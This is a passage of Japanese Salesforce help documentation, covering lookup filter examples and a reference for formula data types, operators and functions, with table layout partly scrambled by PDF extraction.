5. [現在のユーザプロファイル]: [名前] [次の文字列と一致しない] [値] [グローバル営業,国内営業]

検索条件ロジック
(1 AND 2) OR (3 AND 4) OR 5
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カスタムエラーメッセージ
取引先が存在しないか、取引先の請求国が営業領域内にありません。営業担当は、担当する営業領域内の取引先
の商談のみ作成できます。

ルックアップウィンドウのテキスト
検索結果には、地域の取引先のみが表示されます。

重要: 検索条件に 5 行目を含めないと、グローバル営業または国内営業でないユーザは取引先レコードの
値を選択または保存できません。

ルックアップ検索条件のロール
ビジネスルールをすべてのロールのユーザに適用しない場合、Current User Roleグローバル変数項目を使
用して、特定のロールのユーザにのみ影響するルックアップ検索条件を定義します。たとえば、報酬パッケー
ジオブジェクトへの参照項目を含む職種オブジェクトがある社員募集アプリケーションでは、ユーザが総務部
長や統括責任者でない場合、役員報酬計画のある職種をユーザが編集または作成することを禁止できます。こ
れを行うには、職種オブジェクトの [補償パッケージ名] 項目で次のルックアップ検索条件を定義します。
検索条件

1. [現在のユーザロール]: [名前] [次の文字列で始まらない] [値] [統括責任者]

2. [現在のユーザロール]: [名前] [次の文字列と一致しない] [値] [総務部長]

3. [補償パッケージ]: [計画種別] [次の文字列と一致しない] [値] [役員]

4. [現在のユーザロール]: [名前] [次の文字列で始まる] [値] [統括責任者]

5. [現在のユーザロール]: [名前] [次の文字列と一致する] [値] [総務部長]

検索条件ロジック
((1 OR 2) AND 3) OR (4 OR 5)

カスタムエラーメッセージ
報酬プランが存在しないか、役員報酬プランを選択しましたが役員の職種を作成する権限がありません。

ルックアップウィンドウのテキスト
検索結果には、作成が許可されている職種に関連する報酬計画のみが表示されます。

重要: テストしている条件および反対の条件を含めます。この例の場合、検索条件の 1、2、3 行目では統
括責任者または総務部長でないユーザが役員報酬計画を選択できないようにし、4、5 行目では統括責任
者または総務部長が役員報酬計画を選択できるようにしています。

ルックアップ検索条件の空白値
ルックアップ検索条件では、ユーザがよく空白のままにする項目を参照できます。空白値を許可するように
ルックアップ検索条件を設定するには、検索条件の [検索条件ロジックを追加] を使用して OR 条件を作成しま
す。たとえば、商談に [パートナーの取引先責任者]カスタム項目がある場合、[パートナー取引先] レコードタ
イプの取引先に関連付けられている取引先責任者、またはどの取引先にも関連付けられていない非公開の取引
先責任者のみを許可するには、このカスタム項目を制限します。
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検索条件
1. [パートナー取引先責任者]: [取引先]: [取引先レコードタイプ] [次の文字列と一致する] [値] [パー

トナー取引先]

2. [パートナー取引先責任者]: [取引先]: [取引先名] [次の文字列と一致する] [値]

検索条件ロジック
1 OR 2

カスタムエラーメッセージ
パートナー取引先責任者は、パートナー取引先に関連付けられているか、非公開の取引先責任者である必要があ
ります。

ルックアップウィンドウのテキスト
検索結果には、パートナー取引先の取引先責任者または非公開の取引先責任者のみが表示されます。

ルックアップ検索条件のユーザ ID

省略可能なルックアップ検索条件でユーザ ID を使用すると、ユーザに最も関連するルックアップ検索ダイア
ログ結果が最初に表示されるためユーザの効率を大幅に向上させることができます。ただし、必要に応じてす
べての結果を表示することもできます。たとえば、取引先の参照項目に対して省略可能なルックアップ検索条
件を作成し、検索ルックアップダイアログ結果の検索結果をユーザが所有する取引先に制限できます。他の
ユーザが所有する取引先を検索するには、この検索条件を削除します。
検索条件

[現在のユーザ: ユーザ ID] [次の文字列と一致する] [項目] [取引先: 所有者 ID]

ルックアップウィンドウのテキスト
デフォルトでは、検索結果には所有する取引先のみが表示されます。すべての取引先を検索するには、[結果を
すべて表示] をクリックします。

単純な連動ルックアップ
リレーション項目の値が現在のレコードの別のリレーション項目の値に依存する必要がある場合、条件に項目
対項目の比較を指定します。たとえば、ケースの [取引先責任者名]項目に、ケースの [取引先名]項目で指定
した取引先に関連付けられている取引先責任者のみが含まれるようにする場合、次のルックアップ検索条件を
使用します。
検索条件

[取引先責任者名: 取引先 ID] [次の文字列と一致する] [項目] [ケース: 取引先 ID]

カスタムエラーメッセージ
取引先責任者は存在しないか、ケースの取引先に関連付けられていません。

ルックアップウィンドウのテキスト
検索結果には、ケースの取引先に関連付けられている取引先責任者のみが表示されます。

メモ: ルックアップ検索条件で参照項目を比較する場合、Salesforceではリレーション項目の名前ではなく
ID が必ず使用されます。
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複雑なルックアップ検索条件および連動ルックアップ
ルックアップ検索条件を使用して複雑なビジネスルールを作成する場合、一般的には、検索条件ロジックとさ
まざまな種別の項目を組み合わせてルールを作ります。たとえば、次のデータモデルがある会議室予約アプリ
ケーションを考えます。

項目オブジェクト

ミーティング • ミーティング名
• [オフィス] オブジェクトへの [オフィス] ルック

アップ
• [プロジェクターが必須] チェックボックス
• [参加者の人数] 数値項目
• [会議室] オブジェクトへの [会議室]ルックアップ

会議室 • 会議室名
• [プロジェクターあり] チェックボックス
• [使用可能な座席数] 数値項目
• [オフィス] オブジェクトへの [会議室の場所] ルッ

クアップ

オフィス • オフィス名

ミーティングの [会議室]項目に対する次のルックアップ検索条件では、プロジェクター (ミーティングで必要
な場合) と必要な座席数がある会議室のみを有効な値としています。
検索条件

1. [ミーティング]: [プロジェクターが必須] [次の文字列と一致する] [項目] [会議室]: [プロジェクター
がある]

2. [ミーティング]: [プロジェクターが必須] [次の文字列と一致する] [項目] [フレーム]

3. [会議室: 使用可能な座席数] [>=] [項目] [ミーティング: 参加者の人数]

検索条件ロジック
(1 OR 2) AND 3

カスタムエラーメッセージ
会議室がないか、ミーティングの要件を満たしていません。

ルックアップウィンドウのテキスト
検索結果には、ミーティングの要件を満たしている会議室のみが表示されます。

有効な値をさらに絞り込むには、会議室があるオフィスを組み込みます。
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検索条件
1. [ミーティング]: [プロジェクターが必須] [次の文字列と一致する] [項目] [会議室]: [プロジェクター

がある]

2. [ミーティング]: [プロジェクターが必須] [次の文字列と一致する] [項目] [フレーム]

3. [会議室: 使用可能な座席数] [>] [項目] [ミーティング: 参加者の人数]

4. [ミーティング: オフィス] [次の文字列と一致する] [項目] [外部の会議室: 会議室の場所]

検索条件ロジック
(1 OR 2) AND 3 AND 4

カスタムエラーメッセージ
会議室がないか、ミーティングの要件を満たしていません。

ルックアップウィンドウのテキスト
検索結果には、ミーティングの要件を満たしている会議室のみが表示されます。

関連トピック:

ルックアップ検索条件に関する考慮事項

数式を使用した項目値の計算
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

レポートと承認は、
Database.com Edition では
利用できません。

数式とは、他の項目、式、または値から値を取得するアルゴリズムのことです。
数式は、他の項目に基づいて、項目の値を自動的に計算します。
この動画では、Salesforce 数式の概要、アプリケーションでの数式エディタのア
クセス、エディタツールを使用して数式を作成する方法について説明します。

Salesforce で数式を使用する場所
数式は、Salesforce のさまざまなエリアで使用します。数式の使用を開始する
前に、その使用方法の違いを確認します。
数式データ型
数式のデータ型により、数式から返されるデータ型が決まります。
数式の要素
数式には、項目、演算子、関数、リテラル値、または他の数式への参照を含めることができます。
数式の演算子と関数
数式を作成するときに、次の演算子と関数を使用します。すべての関数は、特に指定のない限り、数式項
目、入力規則、承認プロセス、ワークフロールールなどの数式を指定できるあらゆる場所で使用できます。
数式での日付値および日付/時間値の使用
日時を設定して業務を進める組織では、支払期日、契約期間、その他の機能の管理に日付数式が役立ちま
す。
数式項目の作成
カスタム数式項目には、特別な属性が必要です。
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数式項目の制限および制約
数式項目を作成する前に、次の制限事項に注意してください。
高度な数式項目の例
各自の目的のために使用および変更できる各種アプリケーションの数式項目の例を確認します。
数式: こまった時は...?

一般的な数式エラー
数式で発生することがある一般的なエラーと、その解決法を理解します。

Salesforce で数式を使用する場所

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

レポートと承認は、
Database.com Edition では
利用できません。

数式は、Salesforce のさまざまなエリアで使用します。数式の使用を開始する前
に、その使用方法の違いを確認します。

目的数式の使用場所

レコードが承認プロセスに進むための条件を定義します。承認プロセス

レコードが承認ステップに進むための条件を定義します。承認ステップ

リードまたはケースにルールを割り当てるために必要な
条件を定義します。

リードとケースの
割り当てルール

リードまたはケースの自動レスポンスルールの開始トリ
ガとなる条件を定義します。

リードとケースの
自動レスポンス
ルール

ケースをエスカレーションするために必要な条件を指定
します。

ケースのエスカ
レーションルール

カスタムリンクとカスタムボタンのコンテンツを定義し
ます。

カスタムボタンと
カスタムリンク

他の項目、差し込み項目、または式に基づいて値を自動
的に計算する数式項目を作成します。ユーザは、レコー

カスタム項目

ドの詳細ページで数式項目を表示することはできますが、
基底アルゴリズムを参照したり、数式項目の値を編集し
たりすることはできません。

メモ: カスタム数式項目は、Connect Offline、Web-to-

リード、および Web-to-ケースフォームでは使用でき
ません。

指定した値、差し込み項目、または式を使用して、既存
のレポート集計を基にさらなる合計を自動的に計算しま
す。合計は変更できません。

レポートのカスタ
ム集計項目

レコードを保存する前に、ユーザがレコードに入力した
データが指定した基準に合っているかどうかを確認でき

データの入力規則
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目的数式の使用場所

ます。入力規則には、CloseDate >= TODAY() などの数式を含めることがで
きます。

ユーザによる新規レコード作成時に、値をカスタム項目に適用します。TODAY()

+ 7 などのデフォルト値を定義する数式を使用します。
デフォルト値は変更できます。デフォルト項目値は、指定した値、差し込み項
目、または式を使用する数式に基づきます。

デフォルト項目値

ケースをエスカレーションするために必要な条件を定義します。エスカレーションルール

指定した値、差し込み項目、または式を使用して、カスタム項目の値を自動的
に計算します。数式項目の値は変更できません。

数式項目

カスタム集計項目を作成して、そのレポートの既存の集計に基づいてさらなる
合計を計算します。

レポート

Sコントロールのコンテンツを定義します。Sコントロール

標準項目またはカスタム項目に無効な値が入力されるのを防ぎます。入力規則
は、数式に基づき、入力された値が有効でない場合にエラーメッセージを表示
できます。

入力規則

項目の値を、指定した値に自動的に変更します。数式には、他の値、差し込み
項目、または式を含めることができます。ワークフロールールまたは承認プロ
セスの結果として、項目自動更新を実行するように設定できます。

ワークフロー項目自動更新

ワークフロールールの開始トリガとなるレコードの条件を定義します。ワークフロールール

Visualforce ページのコンテンツを定義します。Visualforce ページ

一般的な数式プロセス

親差し込み項目
への参照は可能?

Null 処理を指定
可能?

関数を組み込み
可能?

参照のみ?実行される時期

いいえいいえはいいいえレコードの作成デフォルト項目値

はいはいはいはいレコードの表示数式項目

はいいいえはい該当なしレコードの保存入力規則

はいいいえはい該当なしレコードの保存ワークフロールー
ル

はいいいえはい該当なしレコードの承認
申請

承認プロセス
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親差し込み項目
への参照は可能?

Null 処理を指定
可能?

関数を組み込み
可能?

参照のみ?実行される時期

はいいいえはい該当なしワークフローま
たは承認プロセ
ス

項目自動更新

いいえはいはい。関数の一
部のサブセット

はいレポートの表示レポートのカスタ
ム集計項目

数式データ型
数式のデータ型により、数式から返されるデータ型が決まります。

説明型

true または false の値を返します。項目は、レコード詳細ページまたはレポートで
チェックボックスとして表示されます。チェックありの場合は True、チェックな
しの場合は False を使用します。

Checkbox

通貨記号のある、最大 18 桁までの通貨形式で値を返します。Currency

メモ: Salesforce は、通貨項目に対して、近い方の偶数に丸めるタイブレーク
ルールを使用します。たとえば、23.5 は 24 になり、22.5 は 22 に、-22.5 は -22

に、そして -23.5 は -24 になります。

カレンダー上の日付を表すデータを返します。現在の日付は、数式の中で、あら
かじめ用意されている関数 TODAY()を呼び出すことによって取得できます。この
データ型は、レポート内のカスタム集計項目では使用できません。

Date

時間を表すデータを返します。日付/時間項目には、日付および時、分、秒が表示
されます。NOW() 関数を使用して、現在の日付と時間を数式に挿入できます。こ
のデータ型は、レポート内のカスタム集計項目では使用できません。

Date/Time

正または負の整数や、最大 18 桁までの小数を返します。Salesforce は、数式項目内
の数値に対して、切り上げタイブレークルールを使用します。たとえば、12.345 は
12.35 に、-12.345 は -12.34 になります。

Number

パーセント記号に続く、最大 18 桁までの数値をパーセント形式で返します。パー
セントデータは、100 で割った小数として保存されます。つまり、90% なら 0.90 と
なります。

Percent

最大 3900 文字までの文字列を返します。数式出力に加えてテキストも表示するに
は、そのテキストを引用符で囲みます。テキストデータ型は、テキスト、テキス

Text
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説明型

トエリア、URL、電話番号、メール、住所、および自動採番項目で使用します。こ
のデータ型は、レポート内のカスタム集計項目では使用できません。

関連トピック:

数式項目の作成

数式の要素
数式には、項目、演算子、関数、リテラル値、または他の数式への参照を含めることができます。
数式を作成するときには、次の要素を使用します。

説明要素名

計算または変更されていない入力テキスト文字列または数値。たとえば、常に金額に 2% を乗算す
る値がある場合、数式にはその金額の 2% のリテラル値が含まれます。
ROUND((Amount*0.02), 2)

リテラ
ル値

この例には、数式の中で使用可能なすべての要素が含まれています。
• ROUND 関数。指定した小数桁に切り上げた数字を返します。
• 金額と呼ばれる項目参照。
• 演算子 *。[金額] 項目の内容にリテラル値 0.02 を掛けることを数式ビルダーに伝えます。
• リテラル値 0.02。すべての割合に小数値を使用します。数式に実際のテキストを入れるには、引

用符で囲みます。
• この数式の末尾にある 2 は、ROUND 関数に必要な入力値で、小数点以下の桁数を表す数を指定

します。

差し込み項目を使用して、別のカスタムまたは標準項目の値を参照します。差し込み項目の構文
は、標準項目では field_name、カスタム項目では field_name__cとなります。関連オブジェク

項目参
照

トの差し込み項目の構文は、object_name__r.field_name です。必要に応じて、[項目の挿入]

ボタンまたはドロップダウンリストを使用して数式に差し込み項目を挿入します。

入力値に対して値を返すシステム定義の数式。入力値が不要の場合もあります。たとえば、TODAY()

は入力値が不要で、現在の日付を返します。TEXT(value)関数は、パーセント、数字、または通貨を
入力する必要があり、テキストを返します。

関数

実行する計算の種類または計算の順序を指定する記号。たとえば、+ 記号は、2 つの値を加算しま
す。括弧および閉じ括弧は、最初に計算する式を指定します。

演算子

数式内のアノテーションは、スラッシュの次にアスタリスク (/*) を付けて始め、アスタリスクの次
にスラッシュ (*/) を付けて終了します。次に例を示します。
/*This is a formula comment*/

コメン
ト
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説明要素名

数式の処理中に、コメントは無視されます。
コメントは、数式の定義を参照する人に対し、数式の特定の部分について説明する場合に便利で
す。例:

AND(
/*competitor field is required, check to see if field is empty */
LEN(Competitor__c) = 0,
/* rule only enforced for ABCD record types */
RecordType.Name = "ABCD Value",
/* checking for any closed status, allows for additional closed picklist values
in the future */
CONTAINS(TEXT(StageName), "Closed")
)

また、数式内のエラーを特定するために構文をデバッグおよびチェックするときに、コメントを使
用して数式を部分的にコメントアウトすることもできます。

メモ:

• コメントをネストすると構文エラーの原因となります。たとえば、次のような数式は保存
できません。
/* /* comment */ */

• 数式全体をコメントアウトすると構文エラーの原因となります。
• コメントは、数式の文字およびバイトサイズ制限の対象になります。

関連トピック:

数式項目の作成

数式の演算子と関数
数式を作成するときに、次の演算子と関数を使用します。すべての関数は、特に指定のない限り、数式項目、
入力規則、承認プロセス、ワークフロールールなどの数式を指定できるあらゆる場所で使用できます。

メモ: 例題中の余分なスペースは無視されます。

• 算術演算子
• 論理演算子
• テキスト演算子
• 日付および時間関数
• 情報関数
• 論理関数
• 算術関数
• テキスト関数
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• 集計関数
• 高度な関数
• 関数の符号化

算術演算子

説明演算子

2 つの値の合計を計算します。+ (加算)

2 つの値の差を計算します。- (減算)

その値を乗算します。* (乗算)

その値を除算します。/ (除算)

指定した数の累乗まで数値を乗算します。^ (べき乗)

開き括弧と閉じ括弧で囲まれた式を最初に計算するように指定します。その他の式
は、標準の演算子の優先順位で計算されます。

() (開き括弧と閉じ括弧)

論理演算子

説明演算子

2 つの値が等しいかどうかを評価します。= および == 演算子は代替可能です。= および == (等号)

2 つの値が異なるかどうかを評価します。<> および != (不等号)

値がこの記号に続く値よりも小さいかどうかを評価します。< (未満)

値がこの記号に続く値よりも大きいかどうかを評価します。> (より大きい)

値がこの記号に続く値以下かどうかを評価します。<= (以下)

値がこの記号に続く値以上かどうかを評価します。>= (以上)

2 つの値、または式が両方とも true であるかどうかを評価します。この演算子は、
論理関数 AND の代わりに使用します。

&& (AND)

複数の値または式のうち、少なくとも 1 つが true であるかどうかを評価します。こ
の演算子は、論理関数 OR の代わりに使用します。

|| (OR)

テキスト演算子

説明演算子

2 つ以上の文字列を連結します。& (連結)
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日付および時間関数

説明機能

入力した年、月、および日の値から日付値を返します。Salesforce では、数式項目内
の DATE 関数の値が、うるうでない年の 2 月 29 日などのように無効な日付である場
合に、詳細ページにエラーを表示します。

DATE

日付/時間またはテキストの式に対して日付型の値を返します。DATEVALUE

年、月、日、および GMT 時刻値を返します。DATETIMEVALUE

月の日付を、1 から 31 までの数値形式で返します。DAY

数値形式で指定された日付の中の、1 (1 月) から 12 (12 月) までの数値を返します。MONTH

現在の日付/時間を返します。NOW

現在の日付を日付データ型で返します。TODAY

指定された日付の 4 桁の年を数値形式で返します。YEAR

情報関数

説明関数

式に値があるかどうかを判断し、ない場合は代替式を返します。式に値がある場合
は、式の値を返します。

BLANKVALUE

式に値があるかどうかを判断し、ない場合は TRUE を返します。値を含む場合は FALSE

を返します。
ISBLANK

式が null (空白) かどうかを判断し、該当する場合は TRUE を返します。値を含む場合
は FALSE を返します。

ISNULL

重要: 新しい数式では、ISNULLの代わりに ISBLANKを使用してください。ISBLANK

には ISNULL と同じ機能がありますが、さらにテキスト項目がサポートされて
います。Salesforceでは継続して ISNULLをサポートしますので、既存の数式を変
更する必要はありません。

式が null (空白) かどうかを判断し、該当する場合は代替式を返します。式が値と一
致する場合は、対応する結果を返します。

NULLVALUE

重要: 新しい数式では、NULLVALUE の代わりに BLANKVALUE を使用してくださ
い。BLANKVALUEにはNULLVALUEと同じ機能がありますが、さらにテキスト項目
がサポートされています。SalesforceではNULLVALUEが継続してサポートされる
ため、既存の数式を変更する必要はありません。

項目の前の値を返します。PRIORVALUE
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論理関数

説明関数

値がすべて真である場合は TRUE を返し、1 つ以上の値が偽である場合は FALSE を返
します。

AND

与えられた式を一連の値と照合します。式が値と一致する場合は、対応する結果を
返します。どの値とも一致しない場合は、else_result を返します。

CASE

式が真か偽かを判断します。真の場合は与えられた値を返し、偽の場合は別の値を
返します。

IF

項目の値を前との値と比較し、2 つが異なれば TRUE を返します。値が同じ場合は
FALSE を返します。

ISCHANGED

新規レコードの作成中に数式が実行されているかどうかを確認し、実行中の場合は
TRUE を返します。既存のレコードが更新中の場合は、FALSE を返します。

ISNEW

テキスト値が数値であるかどうかを判断し、該当する場合は TRUE を返します。該当
しない場合は FALSE を返します。

ISNUMBER

真であれば FALSE、偽であれば TRUE を返します。NOT

式が真か偽かを判断します。式が真である場合は、TRUE を返します。式が偽である
場合は、FALSE を返します。

OR

算術関数

説明関数

数値の絶対値を計算します。数値の絶対値とは、正または負の記号のない数値のこ
とです。

ABS

数値を、もっとも近い整数に切り上げます。CEILING

e を指定した指数まで掛け合わせた値を返します。EXP

もっとも近い整数に切り捨てられた数値を返します。FLOOR

指定した数の自然対数を返します。自然対数は、定数 e の値 2.71828182845904 に基づ
きます。

LN

数値の基数 10 の対数を返します。LOG

数値のリストの中で最大の数値を返します。MAX

数値のリストの中で最小の数値を返します。MIN

数値を指定した除数で除算した後の剰余を返します。MOD
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説明関数

指定した数値にもっとも近い数値を返します。新しい数値は、指定した桁数で制限
します。

ROUND

指定された数値の正の平方根を返します。SQRT

テキスト関数

説明関数

テキストが特定の文字列で始まるかどうかを判断し、該当する場合は TRUE を返しま
す。偽である場合は FALSE を返します。

BEGINS

テキスト文字列に改行を挿入します。BR

15 文字の ID を大文字と小文字を区別しない 18 文字の ID に変換します。CASESAFEID

テキストの 2 つの引数を比較し、最初の引数に 2 番目の引数が含まれる場合には TRUE

を返します。含まれない場合は FALSE を返します。
CONTAINS

テキスト文字列中での指定した文字列の位置を数値で返します。FIND

ユーザのセッション ID を返します。GETSESSIONID

指定したテキストからリンク可能な指定 URL へのリンクを作成します。HYPERLINK

代替テキスト付き画像の高さと幅の仕様を挿入します。IMAGE

複数選択の選択リスト項目で選択した値が、指定したテキストリテラルと等しいか
どうかを決定します。

INCLUDES

選択リスト項目の値が指定したテキストリテラルと等しいかどうかを判断します。ISPICKVAL

テキスト文字列の先頭から、指定した数の文字を返します。LEFT

指定したテキスト文字列の文字数を返します。LEN

指定したテキスト文字列内のすべての英字を小文字に変換します。英字でない文字
は、この関数の影響を受けません。地域が適用されている場合は地域ルールが適用
されます。

LOWER

テキスト文字列の左側に指定した文字を挿入します。LPAD

テキスト文字列中の途中で指定した開始位置から、指定した数の文字を返します。MID

テキスト文字列の末尾から、指定した数の文字を返します。RIGHT

テキスト文字列の右側に指定した文字を挿入します。RPAD

テキスト文字列中の元のテキストを新規のテキストで置き換えます。SUBSTITUTE

数式を使用するすべての場所で、パーセント、数値、日付、日付/時間、または通貨
の各項目のデータ型をテキストに変換します。また、承認ルール、承認ステップ

TEXT
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説明関数

ルール、ワークフロールール、エスカレーションルール、割り当てルール、自動レ
スポンスルール、入力規則、数式項目、項目自動更新、およびカスタムボタンとカ
スタムリンクで、選択リスト値をテキストに変換します。

テキスト文字列の先頭と末尾から、スペースとタブを削除します。TRIM

指定したテキスト文字列内のすべての英字を大文字に変換します。英字でない文字
は、この関数の影響を受けません。地域が適用されている場合は地域ルールが適用
されます。

UPPER

テキスト文字列を数値に変換します。VALUE

集計関数
次の関数は、サマリーレポート、マトリックスレポート、および結合レポートに使用できます。

説明関数

この関数は、指定した親グルーピングの値を返します。「親」グルーピングとは、
数式が含まれるレベルよりも上にあるレベルです。この関数は、レポートのカスタ
ム集計項目でのみ使用できます。

PARENTGROUPVAL

この関数は、指定した前のグルーピングの値を返します。「前の」グルーピングと
は、レポートの現在のグルーピングより 1 つ前のグルーピングです。グループレベ

PREVGROUPVAL

ルと増分値を選択します。増分値は、現在の集計の前の列数または行数です。デ
フォルトは 1 で、最大値は 12 です。この関数は、レポートのカスタム集計項目での
み使用できます。

高度な関数

説明関数

リストビューまたは関連リストなどのリスト内で選択したレコードのレコード ID の
形式で、配列された文字列を返します。

GETRECORDIDS

Sコントロールスニペットの内容を返します。複数の Sコントロールで共通のコード
を再利用する場合に、この関数を使用します。

INCLUDE

リンク (href およびアンカータグ) の形式で、カスタムSコントロールまたは Salesforce

ページへの相対 URL を返します。
LINKTO

テキスト項目を正規表現と比較し、一致する場合に TRUE を返します。該当しない場
合は FALSE を返します。正規表現とは、特定の構文規則に従う文字列の形式を記述
するための文字列です。

REGEX
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説明関数

指定した URL に対する script タグとそのソースを返します Force.com AJAX ツールキッ
トまたはその他の JavaScript ツールキットを参照する場合に、この関数を使用しま
す。

REQUIRESCRIPT

Visualforce ページにある静的リソースアーカイブ内のアクション、Sコントロール、
Visualforce ページ、またはファイルの相対 URL を返します。

URLFOR

Excel の VLOOKUP() 関数と同様に、カスタムオブジェクトに関連する値を検索し、そ
の値を返します。

VLOOKUP

関数の符号化

説明関数

大なり記号 (>) などの HTML で予約されている文字を &gt;などの HTML エンティティ
文字に置き換えて、HTML で使用するテキストや差し込み項目値をエンコードしま
す。

HTMLENCODE

バックスラッシュ (\) などのエスケープ文字をアポストロフィー (') などの安全でない
JavaScript 文字の前に挿入して、JavaScript で使用するテキストや差し込み項目値をエ
ンコードします。

JSENCODE

HTML で予約されている文字を HTML エンティティ文字に置き換えて、エスケープ文
字を安全でない JavaScript 文字の前に挿入し、HTML タグ内の JavaScript で使用するテキ

JSINHTMLENCODE

スト文字列や差し込み項目値を符号化します。JSINHTMLENCODE(someValue)は、
JSENCODE(HTMLENCODE((someValue)) と同等の便利な関数です。つまり、
JSINHTMLENCODE は HTMLENCODE で最初に someValue を符号化してから、
JSENCODE で結果を符号化します。

RFC 3986, Uniform Resource Identifier (URI): Generic Syntax での定義に従って、URL では不正な空
白スペースなどの文字を、これらの文字を表すコードに置き換えて、URL で使用す

URLENCODE

るテキストや差し込み項目をエンコードします。たとえば、空白スペースは %20に
置き換えられ、感嘆符は %21 に置き換えられます。

数式の演算子と関数 A – H

数式の演算子と関数 I – Z

関連トピック:

高度な数式項目の例
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数式の演算子と関数 A – H

数式を作成するときに、次の演算子と関数を使用します。下の演算子または関数の名前をクリックすると、詳
細が表示されます。すべての関数は、特に指定のない限り、数式項目、入力規則、承認プロセス、ワークフ
ロールールなどの数式を指定できるあらゆる場所で使用できます。

メモ: 例題中の余分なスペースは無視されます。

+ (加算)

2 つの値の合計を計算します。説明:

value1 + value2。それぞれの value に、差し込み項目、式、またはその他
の数値を指定します。

使用方法:

Amount + Maint_Amount__c + Services_Amount__c

この数式は、商品の[金額]、メンテナンス金額、およびサービス料金の合計を
計算します。[Maint 量] と [サービス料金] はカスタム通貨項目です。

数式項目の例:

EMAIL_OPT_OUT:SUM + DO_NOT_CALL:SUM で、レポート内のリードに関する
すべての [メール送信除外]項目と [電話連絡拒否]項目の合計が計算されます。
この数式は、正の整数を返す数値データ型です。

レポートの例:

ユーザが 1 週間の就労時間の合計を追跡できるカスタムオブジェクトがあったと
します。次の例を使用して、週間就労時間が 40 時間を超えるタイムカードレコー
ドを、ユーザが保存できないようにします。
Monday_Hours__c +
Tuesday_Hours__c +

入力規則の例:

Wednesday_Hours__c +
Thursday_Hours__c +
Friday_Hours__c > 40

このような数式を入力規則に使うことで、入力された毎日の就労時間の合計が
40 を超えた場合に「合計時間が 40 を超えてはいけません」というエラーメッセー
ジを出力できます。この例では、カスタムオブジェクトに、労働日 1 日につき 1

つ、合わせて 5 つのカスタム項目が必要です。

- (減算)

2 つの値の差を計算します。説明:

value1 - value2。それぞれの value に、差し込み項目、式、またはその他
の数値を指定します。

使用方法:

Amount - Discount_Amount__c

この数式は、商品の [金額] と [割引金額] の差を計算します。[割引金額] は、
カスタム通貨項目です。

例:
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AMOUNT:SUM - Product.Discount_Amount__c:SUMで、レポート内の商品に
関するすべての [金額] 項目からすべての [割引金額] カスタム項目を引いた差

レポートの例:

が計算されます。この数式は、通貨記号と小数点以下の桁数を返す通貨データ
型です。

* (乗算)

その値を乗算します。説明:

value1 * value2。それぞれの value に、差し込み項目、式、またはその他
の数値を指定します。

使用方法:

Consulting_Days__c * 1200

この数式項目は通貨データ型であり、顧問料を 1 日 $1200 と仮定した場合に、顧
問日数を 1200 倍した値を計算します。[コンサルティング日数] はカスタム項目
です。

例:

RowCount * AGE:AVG で、レポート内のレコード数に平均日数が乗算されま
す。この数式は、正または負の整数、または小数を返す数値データ型です。

レポートの例:

/ (除算)

その値を除算します。説明:

value1 / value2。それぞれの value に、差し込み項目、式、またはその他
の数値を指定します。

使用方法:

AnnualRevenue/ NumberOfEmployees

この数式は、通貨項目を使用して、従業員 1 人あたりの収益金額を計算します。
IF(NumberOfOpportunities > 0,
NumberOfWonOpportunities / NumberOfOpportunities, null)

例:

この数式は、キャンペーンでの商談の成功率を計算します。

% Won Opportunities

WON:SUM / RowCount は、レポート内のすべての商談件数を表すレコード件数
を使用して、[成立] した商談の割合を計算します。この数式は、正または負の
整数を返す数値データ型です。

レポートの例:

% Difference between Cost and Sales Price

(TOTAL_PRICE:SUM - QUANTITY:SUM * Product2.Cost__c:SUM) /

(QUANTITY:SUM * Product2.Cost__c:SUM) では、商品レベルごとの原価と
販売価格の差の平均パーセントが計算されます。Product2.Cost__c:SUMは、
商品の [コスト]という名前のカスタム通貨項目であり、各商品の原価が含まれ
ています。この数式は、正または負の整数を返すパーセントデータ型です。最
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適な結果を得るために、この数式を [商品名] ごとに集計された [商品が関連す
る商談] レポートの集計に使用し、[数量]、[合計金額]、および [コスト] の合
計に含めます。

^ (べき乗)

指定した数の累乗まで数値を乗算します。説明:

number^integer。numberに、差し込み項目、式、または別の数値を指定しま
す。integer には、整数を含む差し込み項目、式、または任意の整数を指定し
ます。

使用方法:

NumberOfEmployees^4 で、従業員数の 4 乗が計算されます。例:

ACTIVE:SUM ^ 2 で、管理用に、有効な Salesforce ユーザ数の 2 乗が計算されま
す。この数式は、正の整数を返す数値データ型です。

レポートの例:

integer を負の数で置換しないでください。ヒント:

() (開き括弧と閉じ括弧)

開き括弧と閉じ括弧で囲まれた式を最初に計算するように指定します。その他
の式は、標準の演算子の優先順位で計算されます。

説明:

(expression1) expression2...。それぞれの expression に、差し込み項
目、式、またはその他の数値を指定します。

使用方法:

(Unit_Value__c - Old_Value__c) / New_Value__c で、古い値と新しい
値の差が新しい値で除算されます。

例:

(DURATIONHOURS:SUM * RowCount) / 24 で、24 時間あたりの、すべての行
動時間とレコード数の乗算が計算されます。この数式は、正または負の整数、

レポートの例:

または小数を返すパーセントデータ型で、1 日の何パーセントを行動に費やした
かを表します。

= および == (等号)

重要: MyDateTime__c == nullなどの null 比較にはこの関数を使用しないでください。代わりに、ISBLANK

を使用してください。

2 つの値が等しいかどうかを評価します。= および == 演算子は代替可能です。説明:

expression1=expression2 または expression1 == expression2。それぞ
れの expression に、差し込み項目、式、またはその他の数値を指定します。

使用方法:
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期日
Due Date = CreatedDate + 5 は、期日がレコードの作成日から 5 日後に等
しい場合に true を返します。

例:

手数料
IF(Probability =1, ROUND(Amount*0.02, 2), 0)

この数式は、100% の確度を持つ商談の手数料を 2% として計算します。その他の
商談については、手数料の値が 0 になります。
結果の例:

• [確度] が 90% の商談の場合は、手数料が 0 になります。
• [確度] が 100% で [金額] が $100,000 の商談の場合は、手数料が $2,000 になり

ます。

<> および != (不等号)

重要: MyDateTime__c != nullなどの null 比較にはこの関数を使用しないでください。代わりに、ISBLANK

を使用してください。

2 つの値が異なるかどうかを評価します。説明:

expression1 <> expression2 または expression1 != expression2。そ
れぞれの expression に、差し込み項目、式、またはその他の数値を指定しま
す。

使用方法:

IF(Maint_Amount__c + Services_Amount__c<> Amount,
"DISCOUNTED", "FULL PRICE")

例:

この数式は、メンテナンス金額とサービス金額が商品の金額と異なる場合に、
「割引あり」と表示します。等しい場合は「正規価格」と表示します。この例
では、[Maint 量]と [サービス金額]の、2 つのカスタム通貨項目が使用されて
います。

< (未満)

値がこの記号に続く値よりも小さいかどうかを評価します。説明:

value1 < value2。それぞれの value に、差し込み項目、式、またはその他
の数値を指定します。

使用方法:

